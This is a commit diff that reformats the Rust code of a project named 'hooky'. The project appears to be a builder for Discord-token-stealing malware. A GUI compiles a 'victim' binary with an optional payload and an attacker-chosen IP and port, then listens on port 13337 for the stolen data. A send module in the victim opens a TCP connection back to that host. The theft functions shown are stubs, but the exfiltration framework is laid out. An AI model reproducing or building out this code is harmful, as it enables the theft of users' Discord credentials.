~/hooky

dfc58611e5115e9a5f8ac6efdbbae9f38afef293 — Arthur Melton c1f59a62 2 years ago
format all the rust code
M command/src-tauri/build.rs => command/src-tauri/build.rs +1 -1
@@ 1,3 1,3 @@

fn main() {
  tauri_build::build()
    tauri_build::build()
}

M command/src-tauri/src/main.rs => command/src-tauri/src/main.rs +15 -11
@@ 6,14 6,14 @@

#[macro_use]
extern crate lazy_static;

use std::process::Command;
use config::Config;
use data::Sends;
use std::fs::File;
use std::io::{Write, Read};
use std::io::{Read, Write};
use std::net::TcpListener;
use std::process::Command;
use std::sync::{Arc, Mutex};
use std::thread;
use std::sync::{Mutex, Arc};

lazy_static! {
    pub static ref HOOKS: Arc<Mutex<Vec<Sends>>> = Arc::new(Mutex::new(Vec::new()));

@@ 22,7 22,9 @@ lazy_static! {


#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
    if payload == Some("".to_string()) {payload = None;}
    if payload == Some("".to_string()) {
        payload = None;
    }
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();

@@ 34,7 36,8 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

        send_to: send_to.clone(),
    };
    let mut file = File::create(path.clone()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes())
        .unwrap();
    file.sync_all().unwrap();
    path.pop();
    let mut args = vec!["build", "--release"];

@@ 47,13 50,14 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {

        args.push("payload");
    }
    Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");
        .args(args)
        .current_dir(&path.display().to_string())
        .output()
        .expect("failed to execute process");

    thread::spawn(move || {
        let listener = TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()) ).unwrap();
        let listener =
            TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap())).unwrap();
        for stream in listener.incoming() {
            thread::spawn(move || {
                let mut stream = stream.unwrap();

@@ 95,7 99,7 @@ fn get_new() -> Vec<Sends> {

    let index = Arc::clone(&INDEX);
    let mut index = index.lock().unwrap();
    *index = sends.len();
    return sends[start_at..].to_vec()
    return sends[start_at..].to_vec();
}

fn main() {

M command/src/app.rs => command/src/app.rs +24 -13
@@ 5,21 5,25 @@ use yew::prelude::*;

#[wasm_bindgen(module = "/public/glue.js")]
extern "C" {
    #[wasm_bindgen(js_name = invokeGen, catch)]
    async fn gen(features: Vec<JsValue>, payload: JsValue, send_to: JsValue) -> Result<JsValue, JsValue>;
    
    async fn gen(
        features: Vec<JsValue>,
        payload: JsValue,
        send_to: JsValue,
    ) -> Result<JsValue, JsValue>;

    #[wasm_bindgen(js_name = isOn, catch)]
    async fn is_on(id: String) -> Result<JsValue, JsValue>;
    

    #[wasm_bindgen(js_name = getPayload, catch)]
    async fn getPayload() -> Result<JsValue, JsValue>;
    

    #[wasm_bindgen(js_name = setPayload)]
    async fn setPayload();
    

    #[wasm_bindgen(js_name = getIp, catch)]
    async fn getIp() -> Result<JsValue, JsValue>;
}
    

#[function_component(App)]
pub fn app() -> Html {
    let types: Vec<&str> = vec!["discord-client", "discord-chromium", "discord-firefox"];

@@ 35,10 39,17 @@ pub fn app() -> Html {

                    features.push(JsValue::from_str(i));
                }
            }
            let _ = gen(features, getPayload().await.unwrap_or(JsValue::null()), getIp().await.unwrap_or(JsValue::from_str("127.0.0.1:13337"))).await;
            let _ = gen(
                features,
                getPayload().await.unwrap_or(JsValue::null()),
                getIp()
                    .await
                    .unwrap_or(JsValue::from_str("127.0.0.1:13337")),
            )
            .await;
        });
    });
    

    let payload_button = Callback::from(move |_| {
        spawn_local(async move {
            setPayload().await;

@@ 50,7 61,7 @@ pub fn app() -> Html {

    html! {
        <>
        <div id={"GenCover"}>
            <div id={"loading"}>    
            <div id={"loading"}>
                <img src="/public/loading.svg" width="200px" height="200px" />
            </div>
        </div>

@@ 66,17 77,17 @@ pub fn app() -> Html {

            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>
                        

            <label for={"payload"}>{"Payload (Optional)"}</label>
            <input type="text" id={"payload"} />
            <button type="button" onclick={payload_button}>{"Open"}</button>
            

            <label for={"ip"}>{"Ip / Domain to send the data to"}</label>
            <input type="text" value={"0.0.0.0"} id={"ip"} />
            

            <label for={"port"}>{"Port to send the data to"}</label>
            <input type="number" value={13337} id={"port"} />
            

            {
                for types.iter().map(|i| {
                        id+=1;

M data/src/all_data/discord_chromium.rs => data/src/all_data/discord_chromium.rs +1 -0
@@ 0,0 1,1 @@



M data/src/all_data/discord_client.rs => data/src/all_data/discord_client.rs +1 -1
@@ 5,4 5,4 @@ impl Sends {

    pub fn discord_client(&mut self) {
        self.discord_client_token = Some("123".to_string());
    }
} 
}

M data/src/all_data/discord_firefox.rs => data/src/all_data/discord_firefox.rs +1 -0
@@ 0,0 1,1 @@



M victim/build.rs => victim/build.rs +3 -2
@@ 1,5 1,5 @@

use std::io::prelude::*;
use std::fs::File;
use std::io::prelude::*;

use config::Config;


@@ 7,7 7,8 @@ fn main() {

    println!("cargo:rerun-if-changed=config.toml");
    let mut file = File::open("config.toml").expect("Unable to open the file");
    let mut contents = String::new();
    file.read_to_string(&mut contents).expect("Unable to read the file");
    file.read_to_string(&mut contents)
        .expect("Unable to read the file");
    let config: Config = toml::from_str(&contents).expect("Cant convert to toml");
    if let Some(payload) = config.payload {
        println!("cargo:rustc-env=payload={}", payload);

M victim/src/send.rs => victim/src/send.rs +1 -1
@@ 1,5 1,5 @@

use std::net::TcpStream;
use std::io::Write;
use std::net::TcpStream;

pub fn send(data: &[u8]) -> Result<(), std::io::Error> {
    let mut stream = TcpStream::connect(env!("send_to"))?;